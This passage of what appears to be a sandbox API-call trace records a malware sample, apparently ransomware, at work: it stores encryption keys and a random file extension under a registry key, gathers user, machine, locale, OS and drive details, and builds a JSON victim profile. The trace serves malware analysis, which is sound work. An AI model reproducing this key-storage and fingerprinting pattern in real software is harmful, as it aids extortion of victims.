(dwMilliseconds=0x1) [0054.861] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.862] Sleep (dwMilliseconds=0x1) [0054.862] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.863] Sleep (dwMilliseconds=0x1) [0054.864] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.864] Sleep (dwMilliseconds=0x1) [0054.864] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.865] Sleep (dwMilliseconds=0x1) [0054.865] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.866] Sleep (dwMilliseconds=0x1) [0054.866] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.866] Sleep (dwMilliseconds=0x1) [0054.867] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.867] Sleep (dwMilliseconds=0x1) [0054.868] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.868] Sleep (dwMilliseconds=0x1) [0054.870] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.870] Sleep (dwMilliseconds=0x1) [0054.870] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.871] Sleep (dwMilliseconds=0x1) [0054.871] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.871] Sleep (dwMilliseconds=0x1) [0054.872] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.872] Sleep (dwMilliseconds=0x1) [0054.873] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.873] Sleep (dwMilliseconds=0x1) [0054.874] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.874] Sleep (dwMilliseconds=0x1) [0054.875] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.875] Sleep (dwMilliseconds=0x1) [0054.876] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.877] Sleep (dwMilliseconds=0x1) [0054.877] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.877] Sleep (dwMilliseconds=0x1) [0054.878] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.878] Sleep (dwMilliseconds=0x1) [0054.879] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.879] Sleep (dwMilliseconds=0x1) [0054.881] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.881] Sleep (dwMilliseconds=0x1) [0054.881] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.882] Sleep (dwMilliseconds=0x1) [0054.882] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.883] Sleep (dwMilliseconds=0x1) [0054.884] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.884] Sleep (dwMilliseconds=0x1) [0054.884] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.885] Sleep (dwMilliseconds=0x1) [0054.885] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.886] Sleep (dwMilliseconds=0x1) [0054.886] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.886] Sleep (dwMilliseconds=0x1) [0054.889] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.889] Sleep (dwMilliseconds=0x1) [0054.889] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.890] Sleep (dwMilliseconds=0x1) [0054.890] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.891] Sleep (dwMilliseconds=0x1) [0054.899] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.899] Sleep (dwMilliseconds=0x1) [0054.901] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.901] Sleep (dwMilliseconds=0x1) [0054.901] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.902] Sleep (dwMilliseconds=0x1) [0054.902] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.902] Sleep (dwMilliseconds=0x1) [0054.903] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.903] Sleep (dwMilliseconds=0x1) [0054.904] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.904] Sleep (dwMilliseconds=0x1) [0054.905] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.905] Sleep (dwMilliseconds=0x1) [0054.906] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.906] Sleep (dwMilliseconds=0x1) [0054.907] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.907] Sleep (dwMilliseconds=0x1) [0054.908] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.908] Sleep (dwMilliseconds=0x1) [0054.909] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.909] Sleep (dwMilliseconds=0x1) [0054.910] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.910] Sleep (dwMilliseconds=0x1) [0054.911] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.911] Sleep (dwMilliseconds=0x1) [0054.912] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.912] Sleep (dwMilliseconds=0x1) [0054.913] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.913] Sleep (dwMilliseconds=0x1) [0054.914] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.914] Sleep (dwMilliseconds=0x1) [0054.915] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.916] Sleep (dwMilliseconds=0x1) [0054.916] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.916] Sleep (dwMilliseconds=0x1) [0054.917] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.917] Sleep (dwMilliseconds=0x1) [0054.918] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.919] Sleep (dwMilliseconds=0x1) [0054.919] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.919] Sleep (dwMilliseconds=0x1) [0054.920] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.920] Sleep (dwMilliseconds=0x1) [0054.921] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.921] Sleep (dwMilliseconds=0x1) [0054.922] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.922] Sleep (dwMilliseconds=0x1) [0054.923] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.923] Sleep (dwMilliseconds=0x1) [0054.924] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.924] Sleep (dwMilliseconds=0x1) [0054.925] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.925] Sleep (dwMilliseconds=0x1) [0054.927] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.927] Sleep (dwMilliseconds=0x1) [0054.927] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.928] Sleep (dwMilliseconds=0x1) [0054.928] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.929] Sleep (dwMilliseconds=0x1) [0054.929] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.929] Sleep (dwMilliseconds=0x1) [0054.931] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.931] Sleep (dwMilliseconds=0x1) [0054.931] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.932] Sleep (dwMilliseconds=0x1) [0054.932] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.933] Sleep (dwMilliseconds=0x1) [0054.933] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.934] Sleep (dwMilliseconds=0x1) [0054.934] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.934] Sleep (dwMilliseconds=0x1) [0054.935] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.936] Sleep (dwMilliseconds=0x1) [0054.936] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.937] Sleep (dwMilliseconds=0x1) [0054.937] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.938] Sleep (dwMilliseconds=0x1) [0054.938] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.939] Sleep (dwMilliseconds=0x1) [0054.939] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.940] Sleep (dwMilliseconds=0x1) [0054.940] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.941] Sleep (dwMilliseconds=0x1) [0054.941] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.942] Sleep (dwMilliseconds=0x1) [0054.942] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.943] Sleep (dwMilliseconds=0x1) [0054.944] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.944] Sleep (dwMilliseconds=0x1) [0054.944] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.945] Sleep (dwMilliseconds=0x1) [0054.946] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.946] Sleep (dwMilliseconds=0x1) [0054.946] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.946] Sleep (dwMilliseconds=0x1) [0054.948] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.948] Sleep (dwMilliseconds=0x1) [0054.949] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.949] Sleep (dwMilliseconds=0x1) [0054.950] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.950] Sleep (dwMilliseconds=0x1) [0054.951] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.951] Sleep (dwMilliseconds=0x1) [0054.952] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.952] Sleep (dwMilliseconds=0x1) [0054.953] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.953] Sleep (dwMilliseconds=0x1) [0054.954] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.954] Sleep (dwMilliseconds=0x1) [0054.955] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.955] Sleep (dwMilliseconds=0x1) [0054.956] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.956] Sleep (dwMilliseconds=0x1) [0054.958] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.958] Sleep (dwMilliseconds=0x1) [0054.959] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.959] Sleep (dwMilliseconds=0x1) [0054.960] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.961] Sleep (dwMilliseconds=0x1) [0054.961] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.961] Sleep (dwMilliseconds=0x1) [0054.962] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.962] Sleep (dwMilliseconds=0x1) [0056.451] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x58) returned 0x203ff00 [0056.452] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x58) returned 0x203ff60 [0056.454] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fcc4, lpdwDisposition=0x0 | out: phkResult=0x18fcc4*=0x0, lpdwDisposition=0x0) returned 0x5 [0056.475] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fcdc, lpdwDisposition=0x0 | out: phkResult=0x18fcdc*=0xcc, lpdwDisposition=0x0) returned 0x0 [0056.475] RegSetValueExW (in: hKey=0xcc, lpValueName="pk_key", Reserved=0x0, dwType=0x3, lpData=0x41c1c0*, cbData=0x20 | out: lpData=0x41c1c0*) returned 0x0 [0056.476] RegCloseKey (hKey=0xcc) returned 0x0 [0056.476] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fcdc, lpdwDisposition=0x0 | out: phkResult=0x18fcdc*=0x0, lpdwDisposition=0x0) returned 0x5 [0056.476] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fcdc, lpdwDisposition=0x0 | out: phkResult=0x18fcdc*=0xcc, lpdwDisposition=0x0) returned 0x0 [0056.476] RegSetValueExW (in: hKey=0xcc, lpValueName="sk_key", Reserved=0x0, dwType=0x3, lpData=0x41c1e0*, cbData=0x58 | out: lpData=0x41c1e0*) returned 0x0 [0056.476] RegCloseKey (hKey=0xcc) returned 0x0 [0056.476] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fcdc, lpdwDisposition=0x0 | out: phkResult=0x18fcdc*=0x0, lpdwDisposition=0x0) returned 0x5 [0056.477] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fcdc, lpdwDisposition=0x0 | out: phkResult=0x18fcdc*=0xcc, lpdwDisposition=0x0) returned 0x0 [0056.477] RegSetValueExW (in: hKey=0xcc, lpValueName="0_key", Reserved=0x0, dwType=0x3, lpData=0x41c238*, cbData=0x58 | out: lpData=0x41c238*) returned 0x0 [0056.477] RegCloseKey (hKey=0xcc) returned 0x0 [0056.477] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff00) returned 1 [0056.477] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff60) returned 1 [0056.477] CryptBinaryToStringW (in: pbBinary=0x41c1e0, cbBinary=0x58, dwFlags=0x40000001, pszString=0x0, pcchString=0x18fcf4 | out: pszString=0x0, pcchString=0x18fcf4) returned 1 [0056.477] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf2) returned 0x20afe10 [0056.477] CryptBinaryToStringW (in: pbBinary=0x41c1e0, cbBinary=0x58, dwFlags=0x40000001, pszString=0x20afe10, pcchString=0x18fcf4 | out: pszString="lLqlTaOIj3FoHG/HeO/O83Ct4GnT4ahbwFHcAedWa3gxy/ItMQGIzGQGOv1EOj0650jzW6l1NnzyLkXFjYkKnlthuD2iwLmJKZYbyamSixMjAudjA70hNA==", pcchString=0x18fcf4) returned 1 [0056.477] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fd08 | out: phkResult=0x18fd08*=0x0) returned 0x2 [0056.477] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fd30 | out: phkResult=0x18fd30*=0xcc) returned 0x0 [0056.477] RegQueryValueExW (in: hKey=0xcc, lpValueName="rnd_ext", lpReserved=0x0, lpType=0x18fd8c, lpData=0x0, lpcbData=0x18fd90*=0x58 | out: lpType=0x18fd8c*=0x0, lpData=0x0, lpcbData=0x18fd90*=0x0) returned 0x2 [0056.478] RegCloseKey (hKey=0xcc) returned 0x0 [0056.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14) returned 0x20aeea8 [0056.479] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fd28, lpdwDisposition=0x0 | out: phkResult=0x18fd28*=0x0, lpdwDisposition=0x0) returned 0x5 [0056.480] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fd2c, lpdwDisposition=0x0 | out: phkResult=0x18fd2c*=0xcc, lpdwDisposition=0x0) returned 0x0 [0056.480] RegSetValueExW (in: hKey=0xcc, lpValueName="rnd_ext", Reserved=0x0, dwType=0x1, lpData=".06ak3t5y", cbData=0x14 | out: lpData=".06ak3t5y") returned 0x0 [0056.480] RegCloseKey (hKey=0xcc) returned 0x0 [0056.480] RtlAllocateHeap (HeapHandle=0x2c70000, Flags=0x8, Size=0xc) returned 0x2d6ed60 [0056.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="06ak3t5y", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0056.480] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203fab0 [0056.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="06ak3t5y", cchWideChar=-1, lpMultiByteStr=0x203fab0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="06ak3t5y", lpUsedDefaultChar=0x0) returned 9 [0056.480] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12) returned 0x20aeec8 [0056.480] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x202) returned 0x203f878 [0056.480] GetUserNameW (in: lpBuffer=0x203f878, pcbBuffer=0x18fd90 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x18fd90) returned 1 [0056.489] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x20) returned 0x20aff10 [0056.489] GetComputerNameW (in: lpBuffer=0x20aff10, nSize=0x18fd90 | out: lpBuffer="Q9IATRKPRH", nSize=0x18fd90) returned 1 [0056.490] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x1, phkResult=0x18fcac | out: phkResult=0x18fcac*=0x124) returned 0x0 [0056.490] RegQueryValueExW (in: hKey=0x124, lpValueName="Domain", lpReserved=0x0, lpType=0x18fd8c, lpData=0x0, lpcbData=0x18fd90*=0x0 | out: lpType=0x18fd8c*=0x1, lpData=0x0, lpcbData=0x18fd90*=0x2) returned 0x0 [0056.490] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2) returned 0x2040000 [0056.490] RegQueryValueExW (in: hKey=0x124, lpValueName="Domain", lpReserved=0x0, lpType=0x18fd8c, lpData=0x2040000, lpcbData=0x18fd90*=0x2 | out: lpType=0x18fd8c*=0x1, lpData="", lpcbData=0x18fd90*=0x2) returned 0x0 [0056.490] RegCloseKey (hKey=0x124) returned 0x0 [0056.490] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0056.490] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14) returned 0x20aea28 [0056.490] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\International", ulOptions=0x0, samDesired=0x1, phkResult=0x18fcf0 | out: phkResult=0x18fcf0*=0x124) returned 0x0 [0056.491] RegQueryValueExW (in: hKey=0x124, lpValueName="LocaleName", lpReserved=0x0, lpType=0x18fd8c, lpData=0x0, lpcbData=0x18fd90*=0x0 | out: lpType=0x18fd8c*=0x1, lpData=0x0, lpcbData=0x18fd90*=0xc) returned 0x0 [0056.491] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fac8 [0056.491] RegQueryValueExW (in: hKey=0x124, lpValueName="LocaleName", lpReserved=0x0, lpType=0x18fd8c, lpData=0x203fac8, lpcbData=0x18fd90*=0xc | out: lpType=0x18fd8c*=0x1, lpData="en-US", lpcbData=0x18fd90*=0xc) returned 0x0 [0056.491] RegCloseKey (hKey=0x124) returned 0x0 [0056.491] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0056.491] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040000 [0056.491] GetKeyboardLayoutList (in: nBuff=1, lpList=0x2040000 | out: lpList=0x2040000) returned 1 [0056.491] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0056.491] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fae0 [0056.491] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0x18fccc | out: phkResult=0x18fccc*=0x124) returned 0x0 [0056.491] RegQueryValueExW (in: hKey=0x124, lpValueName="productName", lpReserved=0x0, lpType=0x18fd8c, lpData=0x0, lpcbData=0x18fd90*=0x0 | out: lpType=0x18fd8c*=0x1, lpData=0x0, lpcbData=0x18fd90*=0x2e) returned 0x0 [0056.491] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2e) returned 0x20aff38 [0056.491] RegQueryValueExW (in: hKey=0x124, lpValueName="productName", lpReserved=0x0, lpType=0x18fd8c, lpData=0x20aff38, lpcbData=0x18fd90*=0x2e | out: lpType=0x18fd8c*=0x1, lpData="Windows 7 Professional", lpcbData=0x18fd90*=0x2e) returned 0x0 [0056.492] RegCloseKey (hKey=0x124) returned 0x0 [0056.492] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0056.492] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0056.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.492] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0056.492] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0056.492] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0056.492] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0056.493] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0056.493] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0056.493] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0056.493] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0056.493] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0056.493] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0056.494] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0056.494] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0056.494] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0056.494] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0056.494] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0056.494] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0056.494] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0056.495] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0056.495] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0056.495] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0056.495] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0056.495] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0056.495] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0056.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x16) returned 0x20aea48 [0056.496] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0056.496] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0056.496] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.496] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x18fd78, lpTotalNumberOfBytes=0x20aea4e, lpTotalNumberOfFreeBytes=0x20aea56 | out: lpFreeBytesAvailableToCaller=0x18fd78, lpTotalNumberOfBytes=0x20aea4e, lpTotalNumberOfFreeBytes=0x20aea56) returned 1 [0056.496] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0056.496] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0056.496] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0056.497] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0056.498] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0056.498] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0056.498] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0056.498] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0056.498] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0056.498] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0056.498] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0056.499] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0056.499] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0056.499] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0056.499] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0056.499] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0056.499] CryptBinaryToStringW (in: pbBinary=0x20aea48, cbBinary=0x16, dwFlags=0x40000001, pszString=0x0, pcchString=0x18fd94 | out: pszString=0x0, pcchString=0x18fd94) returned 1 [0056.499] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x20aff70 [0056.499] CryptBinaryToStringW (in: pbBinary=0x20aea48, cbBinary=0x16, dwFlags=0x40000001, pszString=0x20aff70, pcchString=0x18fd94 | out: pszString="QwADAAAAAPB/8H8AAAAA8Cl0egAAAA==", pcchString=0x18fd94) returned 1 [0056.499] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea48) returned 1 [0056.499] GetNativeSystemInfo (in: lpSystemInfo=0x18fd70 | out: lpSystemInfo=0x18fd70*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0056.499] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fb98 | out: phkResult=0x18fb98*=0x0) returned 0x2 [0056.500] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fbc0 | out: phkResult=0x18fbc0*=0x124) returned 0x0 [0056.500] RegQueryValueExW (in: hKey=0x124, lpValueName="stat", lpReserved=0x0, lpType=0x18fd40, lpData=0x0, lpcbData=0x18fd90*=0x55070006 | out: lpType=0x18fd40*=0x0, lpData=0x0, lpcbData=0x18fd90*=0x0) returned 0x2 [0056.500] RegCloseKey (hKey=0x124) returned 0x0 [0056.500] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x20000) returned 0x2055ef8 [0056.501] wsprintfW (in: param_1=0x2055ef8, param_2="{\"ver\":%d,\"pid\":\"%s\",\"sub\":\"%s\",\"pk\":\"%s\",\"uid\":\"%s\",\"sk\":\"%s\",\"unm\":\"%s\",\"net\":\"%s\",\"grp\":\"%s\",\"lng\":\"%s\",\"bro\":%s,\"os\":\"%s\",\"bit\":%d,\"dsk\":\"%s\"}" | out: param_1="{\"ver\":256,\"pid\":\"7\",\"sub\":\"3\",\"pk\":\"nAjfiPcoIyeIwwCkM1hLhXo5HUQMtrAB+7m8eHzerho=\",\"uid\":\"F3CCD5B98443A5AF\",\"sk\":\"lLqlTaOIj3FoHG/HeO/O83Ct4GnT4ahbwFHcAedWa3gxy/ItMQGIzGQGOv1EOj0650jzW6l1NnzyLkXFjYkKnlthuD2iwLmJKZYbyamSixMjAudjA70hNA==\",\"unm\":\"kEecfMwgj\",\"net\":\"Q9IATRKPRH\",\"grp\":\"WORKGROUP\",\"lng\":\"en-US\",\"bro\":false,\"os\":\"Windows 7 Professional\",\"bit\":64,\"dsk\":\"QwADAAAAAPB/8H8AAAAA8Cl0egAAAA==\"}") returned 397 [0056.501] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x352) returned 0x2034c08 [0056.502] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2055ef8) returned 1 [0056.502] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fbbc, lpdwDisposition=0x0 | out: phkResult=0x18fbbc*=0x0, lpdwDisposition=0x0) returned 0x5 [0056.503] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x18fbbc, lpdwDisposition=0x0 | out: phkResult=0x18fbbc*=0x124, lpdwDisposition=0x0) returned 0x0 [0056.503] RegSetValueExW (in: hKey=0x124, lpValueName="stat", Reserved=0x0, dwType=0x3, lpData=0x2034c08*, cbData=0x352 | out: lpData=0x2034c08*) returned 0x0 [0056.503] RegCloseKey 